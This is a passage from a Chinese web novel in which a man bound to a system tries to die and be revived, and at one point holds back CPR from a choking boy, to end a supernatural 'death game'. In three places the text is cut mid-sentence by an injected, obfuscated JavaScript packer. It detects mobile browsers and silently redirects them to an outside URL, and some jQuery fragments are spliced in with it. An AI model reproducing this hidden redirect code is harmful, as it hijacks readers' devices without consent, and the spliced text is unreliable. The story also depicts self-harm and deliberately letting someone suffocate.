林恩疼得五官扭曲成一团,说出的话如同漏气的气球,“再等等。” 037几乎和医生同时惊诧地问:“等什么?!” 等失血性休克,等他心跳停止直到林恩再次找到验证死而复生的机会。 在037、克莱尔和医生的三重尖叫中,林恩闭上眼深深吸了一口气,将被穿透的手掌往脖子的方向又轻又快地一推。 可惜预想中他生息奄奄,心跳停止后被救醒并结束死神游戏的画面并没有出现,林恩被克莱尔飞扑上来抱住手臂,他的后腰猛的磕在楼梯上,痛得林恩半点都挣扎不了。 钢钉终究没能扎穿林恩的脖颈。 十几分钟后,钢钉被拔了出来。林恩看向家庭医生,这个年过半百的地中海老头正满头冷汗,面容严肃地帮林恩包扎。 手心被刺穿的洞很幸运地避开了重要的神经,林恩还能忍着剧痛慢慢握拳,这样的话只需要包扎好注意不要发炎,伤口用不了多久就能痊愈,当然最好能在雨停后去医院仔细检查。 关键在于林恩脖颈侧面的伤口,钢钉刺入的位置只要再偏一寸,划破的就不是皮肉,而是林恩的动脉。 如果不是家庭医生见多识广,阅历丰富,可能在拔出来时林恩就会命丧当场。 但医生还是吓坏了。 今天下着暴雨,他原本不想来,可他记得这个独居的年轻人身体状况实在糟糕。 也万幸他做好了林恩昏死的准备,才带来了足够处理伤口的急救箱。 可他真的不明白,上周才检修的车怎么会刹车失灵? 林恩说话时会带动脖颈侧面的伤口,虽然有些痛,但他尽力安抚这个倒霉的老人,“别担心,这不是你的错。” 即将离开时,家庭医生终于想起自己原本来这里的另一个目的,问:“林恩,我上次给你开的药还剩多少?” 林恩扭头说:“克莱尔,麻烦你去楼上卧室的床头柜里找一瓶药,瓶身上有蓝色的图案。” 克莱尔也被吓坏了,她抓紧林恩衣角,此刻面色比林恩还惨白,自责又恐惧。 还没有从可能会失去林恩的惊吓中回过神来的克莱尔想起林恩刚才近乎送死的举动,她低下头不愿意松手,直到在林恩的再三保证和医生的有力作保下克莱尔才原因跑上楼。 不过她应该会找挺长时间,因为压根没有那瓶药,这不过是林恩胡诌的借口。 “罗伦医生,上次的药我已经吃完了,原本想明天再重新买的,可惜你也看见了,出了些意外,只能麻烦您亲自送过来。” 林恩歉意地看着自己的家庭医生。 罗伦医生早就猜到这个结果,他从随身带的医药箱里拿出一个蓝色的药瓶,把药放进林恩的手心。 出于医生的职责,罗伦把曾经说过无数遍的话再次重复道: “你的身体千疮百孔,已经无法承受更多伤害。林恩,你千万、千万按量服用,小心药物滥用,如果这次的药再产生耐药性,我只能选择给你上鞘内镇痛泵了。” 林恩晃了晃瓶身,满满当当的哗啦声音,“您放心罗伦先生,这次不会再产生耐药性了。” 罗伦医生看了看楼上克莱尔的方向,又看向林恩,嘴巴张了又闭,最后长叹一口气,“林恩,你如果愿意住院治疗或许还能有办法,继续这样下去,你撑不了多久的。” 就如同罗伦医生所言,系统能量所剩无几,林恩的身体更支撑不了他活到下一个十年。 能量充足就万事大吉,能量减少自然身体素质下降,那能量耗尽不就是会死吗?多简单明了的道理,林恩从一开始就知道。 而林恩手里的这瓶药,不过是最普通的止疼药,用来应对他因为能量即将耗尽而产生的生理疼痛。 那种如同附骨之蛆的从骨头缝里朝外撕裂肌肉的疼痛靠医学手段是无法解决的,他们只能看出林恩的身体无缘无故迅速衰败,唯独止疼药可以缓解疼痛。 耐药性? 不,林恩撑不到那个时候。 “林恩,我没找到你说的药,是不是记错了?”克莱尔从楼上跑下来,客厅却空荡荡只剩林恩一个人,她想起在父亲的葬礼上,所有人都对她避之不及,只有林恩愿意牵着她的手去看黑色棺椁里双眼紧闭的父亲。 克莱尔压抑住因为没有帮上忙的失望,靠 近林恩问道,“医生已经走了吗?” 林恩的脖子和右手都缠着一层白色的绷带,他试着轻轻握拳,如他所想的只传来钻心的疼痛。 这次抓住的机会并不算成功,不致命却惊险的钢钉只是死神给林恩的小小警告。 林恩全身终于回升了点温度,警告意味着他的猜测或许是正确且可行的。 克莱尔不敢多看,她低着头,指甲几乎要陷进肉里,“林恩,我很抱歉,如果不是我推开你,你的手不会受伤。” 林恩没想到克莱尔会这样想,他愣了一下,告诉克莱尔,“不对,是你救了我,克莱尔如果不是你推开我,我可能已经被木板削了头。” 克莱尔不知道有没有听进去,她从小就知道林自己的养父体弱多病,这也造成了克莱尔对林恩过重的保护欲。 伤口不可能立刻愈合,但忙了一晚的林恩和克莱尔的饥饿可以马上解决。 克莱尔还好说,临睡前喝了一杯热可可,但林恩是从昨天傍晚到现在一点食物也没吃,现在两人除了疲惫后怕,更多能感受到的是饥饿。 林恩的手有伤不能碰水,更别说做饭了,因此他自然地打电话给常去的中餐厅。 克莱尔犹豫地问:“这么早,有营业的餐厅吗?” 林恩晃了晃手机,笑着说:“你忘了,我有钞能力。” 一个小时后,和林恩与克莱尔的南瓜小米粥一起送到的还有艾利克斯和安德鲁,除两人外还有一位身形高瘦、满头棕发的联邦探员。 这人林恩昨天在机场见过,应该是安德鲁在FBI的搭档。 艾利克斯看见破烂的门时差点以为林恩已经遇害,直到活生生的林恩后才长长呼出一口气,接着又尴尬地道歉:“林恩,你没事真是太好了。我很担心你,又不知道你的住所,只好去找了安德鲁探员……哦对,我先和克莱尔打了电话,但她没接。” 克莱尔昨晚全副心神都在帮林恩,压根没注意手机,“呃,不好意思,手机没电了。” 安德鲁明显整晚没睡,来不及打理的下巴上还挂着青色的胡茬,外套更是昨天的同一件,上面全是折痕。 他打断艾利克斯的话,焦急地想得到一个答案,“林恩,你渡过了危险是吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446987|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安德鲁的视线定在林恩右手厚厚的绷带上。 “进来再说吧。” 林恩把三人带进客厅,他活得无拘无束,也不在意人际关系,因此家里很少会来客人,所以也没有常备的多余拖鞋。 林恩只好从鞋柜里取出三双一次性鞋套,顺便问道:“你们吃早饭了吗?” 艾利克斯咕噜噜响的肚子先替他做出了回答。高中正是长身体的时候,艾利克斯急急忙忙地从家里赶过来,之前过于紧张还没觉得饿,这会一放松才感觉到因为饥饿和紧张绞痛的胃。 林恩又点了三份蒸饺,在等餐的时候正好可以讨论昨晚的事。 林恩指向重新被挂起来的画框,把夜晚发生的事大致讲了一遍。 经过两小时的休息,太阳升起前灰白的光亮让克莱尔的脸色越发惨白,她沉浸在后怕中。 或许因为艾利克斯是死亡预感的接受人,他迅速理解并消化了这段内容,艾利克斯抓住重点问,“那意思是只要避开这些危险,就能活下来?” “理论上是这样,但安全也只是暂时的。一个人度过危险后就会顺延到下一个人,等所有人都轮完一遍……” 几人都紧张地盯着林恩,听见他冷静地说出让人绝望的话,“死神游戏会按照顺序开始新的一轮。” 订的外卖还没到,艾利克斯只能靠手中的热牛奶汲取温暖,但寒风依旧四面八方地朝他裹挟而来,他牙齿打颤地问:“林恩并不是飞机失事的幸存者,更何况林恩除了和布莱尔有收养关系,和我们几乎没有交集,为什么他会是死神的第一个目标?” 因为林恩比自己年龄大,艾利克斯首先想到年纪由大到小,但不对,幸存者中年纪最大的是自己的老师。 可要说学号,座位号则更加和林恩不搭边。 艾利克斯对顺序百思不得其解,倒是林恩劝他只有一个人本身就难以确认顺序,不如等下一次接收死亡预感后再来思考这个。 从昨天半夜就开始时不时装死的037突然开口,它清了清并不存在的赛博嗓子,语气里满是心虚,吞吞吐吐地说, “顺序,呃顺序,还记得你的好感buff吗?任务再次推进后,我终于可以追踪到buff作用在了谁身上。” 林恩其实都有点忘记这个好感buff,毕竟从他穿越至今都没有什么存在感。 可林恩和系统绑定生活了十年,它代码抖两下林恩都知道接下来037会冒出什么惊人言语,此刻林恩光听它开头就知道要糟糕。 林恩谨慎地问:“谁身上?” “死神。” 林恩:…… 林恩:“你在开玩笑?” 林恩原本伸向小米粥的手僵在半空。 十年来,林恩根据人设成为神父,他每周都去教堂参加弥撒,也能接受因为违反无神论者人设带来的反噬,积分消耗时,身体内的血肉被一丝丝榨取,从内而外的衰败几乎快逼疯林恩。 现在037却告诉他,死神可能一直在看着他。 037不乐意了,“你什么时候见我在工作上开过玩笑?” 其实林恩已经信了八成,037对工作一向认真,再说死神因为偏爱而让自己多活十年再次参与游戏也是有可能的,同时让他成为游戏的第一顺位体验者。 一瞬间,林恩仿佛感觉到有温热的血顺着他的脸颊滴落,克莱尔父亲死亡时的枪声伴随着每一个同学死去时他们家人痛彻心扉的哭声再次在他的耳边响起。 偏爱? 死神让林恩活了十年,难道就是为了延长这份偏爱? 如果这就是死神的偏爱,林恩简直要冷笑。 5. 第 5 章 克莱尔一直注意着走神的林恩,发现他脸色不好,还以为他是低血糖,于是把热腾腾的小米粥打开推给林恩。 “不用。”林恩的声音比他预想的还要低哑,他摇头拒绝,托系统的福,林恩一点胃口也没有了, 另一位从进门就十分安静的高瘦探员终于忍不住打断他们的对话,“等等,你们在说什么?死神?意外?顺序?安德鲁,我们应该去抓这次飞机失事的凶手,而不是坐在这听天方夜谭的故事!” 林恩看着高瘦探员,就像在看刚进入任务世界的自己,但他一晚没睡,现在精神疲惫,实在没精力再更多解释。 因此林恩看向艾利克斯,“可以麻烦你向这位探员说明一下吗?” “叫我切萨雷就好。”高瘦探员,也就是切萨雷,在看到安德鲁点头后才离开餐桌,走到房间的角落,接着转头看向艾利克斯,示意他跟上来。 也不是什么秘密,不知道为什么避开其他人。 直到安德鲁坐在餐桌前,林恩才知道切萨雷是为了给安德鲁和自己创造单独对话的条件。 克莱尔一向懂得察言观色,她看出安德鲁脸上不自然的神色,主动跟上艾利克斯一起离开。 餐桌前仿佛被一个神秘的结界笼罩,连风声都小了些。 安德鲁沉默片刻才开口,“林恩,这次我不会走了。我会做我力所能及的事,包括给你们提供帮助。” 安德鲁昨晚一夜没合眼,他躺在自己曾经老房子里的床上翻来覆去,良心和道德在折磨他,让他如同睡在钉床上。 十年前束手无策的无力感深深包裹着他,直到安德鲁得到消息,郊区河里捞出来一具尸体——一个身份信息全无的亚洲人。 安德鲁被责任感驱动着前往郊区,他想让自己把注意力集中在本职工作上。可远远地,安德鲁就看见河岸边站满了警察,他甚至看见了自己的老朋友,曾经的上司警长。 在深重的露水中,安德鲁抹了把脸转身离开,他还没有做好和老朋友见面的准备。 回到家时,安德鲁就看见了站在自己门前的艾利克斯。 这个和当年林恩差不多岁数的少年满脸不安,惶恐无措,只能向称得上陌生人的自己求助。 安德鲁几乎要站立不稳,十年前那些孩子的惨状一一在他眼前浮现。林恩,这个曾经唯一的幸存者也会在他面前死去? 等回过神来安德鲁已经来到了林恩门前。 看见林恩开门的瞬间,全身的血液再次流动,安德鲁仿佛重新活了过来,他被过往的一切劈头盖脸砸中,二十六岁的林恩却依旧活生生地站在自己面前,或许他们真的能做些什么来挽救曾经没有做到的事。 林恩并不感到惊讶,在他看见安德鲁再次回到这座城市并且主动接手飞机事故的调查时就知道,安德鲁会留下来。 安德鲁脊背挺得笔直,脸上有了点十年前的模样,“不过我确实没有权力召集其他幸存者,他们不是嫌疑犯,我不能强制拘禁他们。” 艾利克斯回来时身边跟着神色恍惚的切萨雷,看来切萨雷正在经历世界观重塑的过程, 他眼神涣散,表情比他第一天加入FBI时的菜鸟模样还要痴呆。 切萨雷本能地不愿意相信这些匪夷所思的事,可安德鲁的表情告诉他一切都是真的。 艾利克斯听到了安德鲁最后一句话,想了想说:“或许我可以试着把他们约出来见面,毕竟我们是同学。” 艾利克斯昨晚已经拿到了剩下其他人的联系电话。 他犹豫片刻先打给了关系最好的托德,电话嘟嘟响了半分钟才被接通,可托德只在电话里道歉,“抱歉,艾利克斯,我父母不让我出门……但你要知道,这一切不是你的错。”接着就急匆匆挂断了电话。 托德作为艾利克斯最好的朋友,当晚的飞机上还有他的哥哥,兄弟一起出门,活下来的却只有他。 艾利克斯尴尬地摸了摸鼻尖,他能理解托德的拒绝,于是挨个给幸存下来的同学们打电话。 飞机失事的幸存者总共有六人,知道实情的克莱尔和艾利克斯,接着是暴脾气和艾利克斯打过一架的卡特和他的女朋友泰莉,剩下则是柳敦老师和同学比利。 泰莉和柳敦老师的电话完全打不通,响铃几声后就会被直接挂断,卡特则肆意辱骂了几句“神经病”,比利叽叽喳喳几句只把艾利克斯的话当做有趣的预言,心里却不见得有几分相信。 他尴尬地看向四周。 林恩也不在意,他对这样的事经验丰富,“没关系,等接近死亡,他们就会变得好说话很多。” 但接下来,死神仿佛进入了中场休息时间,再也没有预感降临在艾利克斯头上,艾利克斯有时会和安德鲁去探望十年前死神游戏死者的家属,即使安德鲁每次都只是站在角落里远远望着。 林恩瞒着所有人止疼药越吃越多,克莱尔的视线随着林恩的伤手移动,她一天天数着伤口恢复的日子。 直到该为飞机事故遇难者举行葬礼的时间,林恩手上的绷带才被取下,可伸展或者握拳时依旧有刺痛的感觉从伤口向外蔓延,仿佛血肉里裹着一只活生生的蚂蚁。 那是一个阴沉沉的下午,葬礼在墓地举行,因为死亡人数众多,再加上事件影响大,到现场的人足有上百,除了死者家属,还有不少希望能重新点燃飞机失事热度的记者。 几只乌鸦划过灰蒙蒙的天空,停在树枝上,它们歪着头探究地看向下方身穿黑衣的人群。 林恩站在墓园出口,克莱尔和艾利克斯都还在葬礼现场,安德鲁和切萨雷正陪着他们。 林恩能听见有低低的啜泣声,捂着脸时的哭声闷得像在塑料袋里嚎啕,他也能轻易地看出,这些参加葬礼的人结伴离开,互相咬着耳朵,如同落在地上的乌鸦窃窃私语。 “为什么艾利克斯会提前知道飞机失事?” “凭什么他还活着,我的儿子却死了!” “……好可怕,灾星。” “但我听林恩神父说不是这样的,艾利克斯救了剩下的六个人。” 这些人既惧怕又渴望靠近,矛盾地徘徊在艾利克斯周围。 林恩呼出一口气,抬头看只有几根横切的黑色电线的天空,直到被一个青年打断发呆。 他反戴棒球帽,是飞机失事的幸存者比利。 比利远远地就挥着手朝林恩打招呼,“我听艾利克斯说了,死亡预感,那是什么?也太酷了吧。” 比利似乎迷上了这些脱离现实的刺激感,他最近总是缠在艾利克斯身边,试图亲眼见识死亡预感,就如同一个看多了小说漫画的充满想象力的孩子。 037冷哼了一声,不满地嘲讽,“还酷呢,等他出事的时候我看他还敢不敢这样说。” 两人呆了一会,看见一个金发女生从墓地跑出来,她身后还追着两个举着长枪短炮摄像机的记者。 “咦,是泰莉。”比利说道。 泰莉朝身后的记者愤怒又羞耻地吼道:“滚!我什么都不会告诉你们的!!” 泰莉的男朋友卡特还在墓地和艾利克斯纠缠,她恨恨地想,那个疯子,他半点不收敛,总是去找艾利克斯的麻烦,他们或许又要打起来。 但泰莉不在乎,她受够了继续陷在飞机失事幸存者的泥潭,泰莉脸颊发热,她已经看见有人在偷偷观察自己了。 林恩看着她就如同看见十年前自己面对记者骚扰时的场景,他往前走了几步替泰莉赶走这些记者。 可飞机失事幸存者的噱头依旧吸引着全纽约的记者。 当晚,林恩正要入睡就接到了艾利克斯的电话,电话里的声音焦急万分, “林恩,托德,救救托德!下一个是托德!” 林恩立刻带上钥匙,一边开车一边给托德的父母打电话。 在这一个月里,林恩当然没有坐以待毙。作为刚经历丧子之痛的父母,林恩神父的身份能得到他们天然的好感。 当然,不能提死神。 为防意外,林恩在脑海里让037同步拨打了急救电话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446988|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 放在汽车储物格的手机里传出托德父亲的声音,“托德刚进浴室了,他没有回应。” 现在不是在意隐私的时候,“你开门进去看看。” 手机对面的人沉默片刻,接着响起哐哐的声音,托德父亲似乎在砸门,“门锁坏了,打不开……他、托德是不是出事了?” 看来死神已经开始行动了,林恩眉头紧皱,“我会尽快赶到。” 林恩挂断电话,抬起头看向前方,天色已经很晚,可路上的车辆却丝毫没有减少,他的左侧驶来一辆装满钢筋的货车。 在经过林恩轿车的转弯时,货车车身弯出一个夸张的弧度,像一把满弦的弓。 林恩看着视野里逼近的闪着寒光的钢筋,在他上车后滋生的不详感越发放大。 林恩握紧方向盘,这种不详感驱使着他把车往前开出半米。 下一秒,身后传来“哐啷啷”的巨响,林恩回头一看,是倾翻的货车,车上的钢筋全都倾泻而下。有的钢筋扎进后车车窗,车内的人生死不知,有的则向左右滚落,车门上砸出一个深坑。 呜啦啦一群人从车上跳下来散开躲避钢筋,现场瞬间混乱起来。 如果林恩没有往前开出半米,他或许也会被致命的钢筋直接砸穿。 “绿灯了,林恩你怎么不开?”037兼任轿车教练尖叫着催促,“别管后边那些人,周围那么多活人,他们会去救的。你不是还要去救托德吗?” 林恩后背早已被冷汗浸湿,深夜的寒风从车窗吹进,深深地包裹住林恩, “037,我可能搞错了一件事。” 死神对林恩的偏爱可能远超他的预想。 他不仅被排进了死亡名单中,连死亡顺序都可以随时再次轮到林恩。 艾利克斯赶来时正巧被托德父亲发现,这个悲伤的男人再次警告艾利克斯远离自己的儿子,他以为今天的见面让托德想起了逝去的兄弟 ,因为过于悲伤而想不开自杀。 万幸艾利克斯也从他的话中得知托德还活着。 虽然连日来来自各方的责怪已经让艾利克斯练就了大心脏,但托德父亲的话还是让艾利克斯仿佛被尖锐的刀锋刺穿,赤裸裸地挂在寒风里。 但比起托德父亲的责怪,艾利克斯更庆幸托德脱离了危险。 算上林恩那次,这是他们第二次战胜死神,这样看来死神似乎也不是那样不可战胜。艾利克斯胃里因为痛苦而沉沉下坠,心脏却满满当当,对接下来充满信心。 面前救护车又“滴呜滴呜”地开走,围观的人提线木偶似地呜啦啦全部散开,整个街道再次变得空旷而寂静。 克莱尔扫过视线内的每一个角落,眉头越皱越紧,问:“林恩哪去了?” 他应该早就到了,此刻却全然不见人影。 克莱尔有点慌,她焦急地围着托德家找了一圈都没看见林恩,又想追着救护车去,却被艾利克斯拉住。 艾利克斯劝道:“或许林恩神父已经回去了。” 克莱尔却咬着牙说:“不,林恩就算离开也一定会提前告诉我,他……艾利克斯你不知道,即使林恩从没有说过,但我看得出来,林恩的状态一直很糟糕。” 艾利克斯疑惑地看着克莱尔,第一次见面时他就知道林恩可能有些体弱,可此时也不能理解克莱尔过度担心一个成年人。 但艾利克斯还是试着帮忙找人,“是不是林恩还在托德家里,没有跟着救护人员一起出来。” 等两人闯进托德家,看见了坐在浴室前的林恩。 那是一片惨淡的白,浴室冷光从打开的门后洒出,显出如同冰霜的冷意。 花洒被遗忘,水流如同透明的薄膜,从浴缸里一直往外延伸到克莱尔的脚下,在清澈透明的倒影中,林恩面色煞白地坐在冰冷的地面,下半身的裤子已经湿透,柔软卷曲的黑发湿哒哒地贴着额头,黑与白在林恩身上形成鲜明的分界线。 他似乎坐了很久,皮肤因为失水而变得更加苍白,如同一只才从深水里爬出来的枉死水鬼。 6. 第 6 章 这是一场没有造成任何人死亡的意外,几根手指粗的钢筋砸下来却离奇地避开了所有人,除了知道死神推手的林恩。 在让037又打了一次急救电话后,林恩迅速开车离开。 等他赶到托德家时浴室门已经打开,托德面色苍白,双眼紧闭地躺在浴室地面,托德父亲正把套在托德脖子上的钢丝线取下,而急救人员还没到。 林恩心跳得飞快,他知道这是个难得的机会,一个可以继续尝试能否结束死神游戏的机会。 林恩不知道自己是怎么走上前的,等他清醒过来的时候浴室里已经只有自己和昏迷的托德了。 他低头看着自己不停颤抖的手和托德渐渐变白的脸,周围没有任何人,不会有谁来妨碍他,只要林恩什么也不做,不帮托德做心肺复苏,他就可以再次尝试死而复生。 林恩足够专业,他苦读几年医学似乎就是为了这一刻,他只要冷眼旁观,再等几分钟,不,或许只要一分钟,仅仅六十秒,只要林恩再等等…… 037叫得最大声,“林恩,你快救他啊!再不救托德真死了!” 头顶的白炽灯在林恩脸上打出大片阴影,他说话的声音轻得仿佛鼓胀的气球,慢慢往天上飘, “死而复生,我要再试试死而复生吗?” 用克莱尔的同学? 当然,就算他是克莱尔的同学,或者就算此刻躺在地上的是自己,林恩也要去尝试,他不愿意放过任何一次机会。 林恩的手心轻轻放在托德胸膛,就像把自己的双手浸在冰水里,这片冰水在微不可查的涌动,林恩差点以为是托德恢复了呼吸,可再看去,原来只是自己双手的颤抖。 林恩喃喃自语,“不,我不能救他。” 浴室的门已经被托德父亲砸烂,楼上楼下的隔音效果形同虚设,林恩在心里数秒,他一直在等,等托德心跳停止的瞬间。 只要抓住那个瞬间再把托德救醒,任务就能完成。 三十秒,楼下托德母亲忽然爆发出激烈的哭声。 一分钟,托德的脸透出不详的灰白色。 可三分钟过去,直到他的耳边已经能听见救护车的声音,楼下托德父母还在声嘶力竭地哭喊着,林恩转头看向窗外越来越近的红蓝灯光,没有任何一处地方写着“任务完成”。 托德父母似乎被留在一楼,急救人员上楼时林恩还坐在托德身边,他们催促面前这个浑身湿透的古怪男人离开。 林恩知道自己再次失败了,他扶着膝盖让开,亲眼看着急救人员将双手重重按压在托德胸口。 苦学得到的医学知识告诉林恩,窒息时间还不够长,托德的各个器官还在体内运作,他马上会被救醒。 果然,当托德猛地吸入一大口空气时,林恩知道自己真正错过了这次机会。 他无力地看着托德被抬上担架,听着救护车刺耳的声音远去。 有人从楼梯上来,林恩黑色的瞳仁微微上移,似乎才看见两人,终于从地上起身,他看见克莱尔微微瞪大的眼睛,知道自己让她担心了。 林恩把脸上的水珠抹去,试图将话题转移到托德身上,他说,“是一根铁制晾衣绳,绕在了托德的脖颈上,他差点窒息死亡。” 克莱尔更无措了,自从她记事以来,林恩在她面前永远都是满含笑意的。克莱尔现在不在乎死神的手法,她只关心林恩,“林恩,你怎么了?发生了什么?” 林恩站起来,湿透的裤子紧紧贴着他的皮肉,如同正在吸血的水蛭,“没什么,克莱尔,我没事,只是有些累了,我们回家吧。” 回家后林恩又变回了曾经的模样,仿佛在浴缸旁如同水鬼的他只是克莱尔的错觉。 克莱尔总怀疑是在托德家里发生了什么事,可林恩表现得一切如常,于是她提出第二天去医院探望托德,至少能让林恩出门透透气。 艾利克斯有些紧张地站在医院前,他想去探望托德,可又怕遇见托德父母。 克莱尔凑近艾利克斯,小声说:“我已经和安德鲁叔叔,切萨雷叔叔说好了,他们会引开托德父母的。” 艾利克斯还有点犹豫:“真的?” 克莱尔点头:“放心,总比你偷偷翻窗户进去强。” 几人在医院门口分别,艾利克斯,安德鲁和切萨雷上楼去看望托德,林恩和克莱尔就在下边等。 不论是国内还是美国,医院总是有很多人。 林恩站在人潮中,连乌黑的头发都因为睡眠不足而更加黯淡。 他昨晚和037掰扯到深夜,他怀疑死神真的一直在“看着”自己,否则怎么解释两次机会都有医生迅速来到现场。 第一次林恩自己被家庭医生及时救回来,第二次他甚至没等到托德心跳停止。 “祂是不是真的知道我想用死而复生的方法结束游戏?”林恩问037,但037表示自己又不是读心机器,哪里知道这些。 037放弃回答这个问题,转而问道:“你接下来打算怎么办?” 林恩把自己泡进浴缸满池的热水里,他这具身体越来越脆弱,回家时就隐隐有些要生病的征兆,直到现在全身暖和起来才好转。 林恩明白自己该怎么做,对于任务者林恩能救则救,游戏重新轮一次都比他们直接死了好。如果他能在其中时不时制造点可以心跳停止再救回来的机会就更好了。 浴室里灯光大亮,林恩缓缓闭上眼睛,他仰起头,灯光落在他的眼皮上,他没有睁眼,却“看见”一圈圈彩色的光晕,鼻尖萦绕着沐浴露和洗发水混合的馨香气味,就如同身处接引他前往的天堂。 但他不想去天堂。 林恩想,既然死神如此喜爱自己,甚至让林恩随时能“插队”其他人作为目标,也就说明林恩有更多机会可以再次试验自己的猜想。 在所有人都死光前,或者在下一轮游戏开始,林恩想,自己总能成功的。 一觉醒来的林恩觉得自己又有了干劲,只是这也让克莱尔对林恩反复的情绪更加担心。 所以才有了这次集体探望。 林恩停在商场门口,他其实更想去对面的甜点蛋糕店,克莱尔喜欢里面的一款甜品。 但正巧有人从商场推门出来,那是个约莫三十岁上下的金发女人,穿着打扮失去了平日里的干练,显出隐约颓势。 林恩在昨天的葬礼上见过她和艾利克斯说话,她也是飞机爆炸事故里唯一幸存的老师,名字叫柳敦。 “老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446989|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能在这遇见你真是太好了。” 柳敦分明从超市采购了不少物品,整个人却依旧沉默地如同失去了色彩。 从飞机失事中活下来,没有让柳敦欢欣雀跃,她始终痛苦地悼念着死去的同事和学生。 柳敦被叫住时迷茫地抬起头,直到看见站在一旁的少女才疑惑地开口问道:“克莱尔?” 等再看见林恩时柳敦才反应过来,面前这个看起来不过二十多岁的青年是克莱尔的养父。 因为两者年龄差太小,柳敦出于对自己学生的关心,还去私下查了有关林恩的往事。 柳敦准备着,只要发现一点端倪就立刻报警,在她的调查下,一切都显示林恩和克莱尔的关系是纯洁和充满可贵亲情的。 因此柳敦对林恩并不反感,甚至隐隐欣赏这个养大克莱尔的青年,她尽力面带微笑,“下午好,克莱尔,林先生,能见到你们真幸运。” 自从飞机失事后,柳敦老师拒绝了大部分通话请求,手机时常处于关机状态,林恩一次也没联系上。 林恩也觉得幸运,他早想和这位老师聊聊,最好柳敦老师能直接相信自己和艾利克斯的死亡预感说。 作为幸存者唯一的成年人,柳敦老师有能力和金钱直接离开纽约,如果不能尽快和她搭上线,等柳敦离开就麻烦了。 就像柳敦现在从超市里采购的收纳箱,希望不是用于连夜搬家。 林恩想尽量温和地请柳敦老师相信自己,“老师,我们去对面的咖啡厅……” 但两个快速从商场扶梯往下走的人打断了林恩的话。 扶梯还在运行,两人却迫不及待往林恩方向奔来,越靠近两人的脸就越清晰,是另外两位幸存者,卡特和他的女朋友泰莉。 林恩不知道这两人也在,他拧紧眉头,不是出于对话被打断的恼怒,而是仿佛命运将他们聚集在一起的警惕。 卡特和泰莉并不知道托德差点丧命的事,他们只是碰巧经过,因为泰莉想出来散散心,两人这才从电影院出来。 但卡特看见林恩就知道艾利克斯就在周围,最近这两人经常出现的同一个地方,噢对,还有克莱尔这个怪胎。 克莱尔总是不合群地戴着耳机,现在又和艾利克斯搅和在一起。她似乎相信了艾利克斯关于死神和预言的蠢话。 至于林恩,卡特讨厌这个装腔作势的神父,他敏锐地察觉到艾利克斯和克莱尔的背后总是有林恩。 他不愿意相信自己的命是艾利克斯救下的,否则当初因为和艾利克斯互殴而被赶下飞机的自己岂不是嘴硬又愚蠢? 更重要的是,卡特偶尔会冒出万一艾利克斯说的是真的呢这种荒谬想法,他对这种可能性生出不可遏制的恐惧。 随着一个月时间的流逝,他什么危险也没有发现。卡特告诉自己,艾利克斯所谓的死神全是胡编乱造,所以他厌烦一切和艾利克斯有关系的人。 于是卡特推开面前挡路的行人往林恩的方向走去,他的女友泰莉见状急忙跟着上前,泰莉一把拉住卡特的袖子,劝道:“卡特,我们别过去,你不是说要陪我逛街吗?别管他们了。” 但卡特仿佛没听见,从泰莉手里把自己的袖子拽出,气势汹汹地继续朝林恩走去。 7. 死神游戏 医院里除了来来往往的医生护士的脚步声外很安静。 托德的脖子被绑了一层厚厚的绷带,昨天他在送进医院时就已经醒了,但是父母都希望他能留在医院再观察两天,当然最主要的是怕他再想不开“自杀”。 这样如果再出什么意外至少人在医院可以及时抢救。 从昨晚到白天,托德父母都寸步不离地守着他。 所以切萨雷刚进入病房就见到了这两位神情憔悴的父母,他出示自己作为联邦探员的证件后说:“关于昨天的事,我想我们可以谈谈。” 托德母亲眼睛红肿,泪痕直到现在也没有消下,她小心翼翼地回头看向病床上的托德,发现托德没有任何异样后,才开口问:“你想知道什么呢?那不过是场意外。” 意外? 那确实看起来就像意外,如果切萨雷没有接受那个诡异的死神游戏和死亡预感设定的话。 切萨雷语气不变,“可我听说你们在飞机事故后就将托德关在家里,不允许他私自外出,而昨天又在邻居们面前将意外定义为自杀?” 托德父亲唰地站起来,他几乎立刻大声反驳,试图用自己的声音盖住切萨雷的话,“你在胡说八道些什么?!” 他害怕托德听到那个词语再受了刺激。 同时,托德父亲也听出了切萨雷堪称恶毒的潜台词,这个不合时宜出现的联邦探员竟然怀疑是自己逼得托德自杀。 托德父亲瞬间眼眶赤红,手背爆出条条青筋,他疾步逼近切萨雷,一把抓住切萨雷的衣领要把切萨雷拖出病房,压低声音咬牙切齿,“我们出去说。” 托德母亲害怕两人打起来,急忙按下呼叫铃也跟着过去了。 护士听见呼叫铃进入病房时正看见两个陌生男人坐在病床前,她犹豫着问:“你们是?” 安德鲁拿出执法证件,“联邦探员。请你先离开,半小时后再来。” 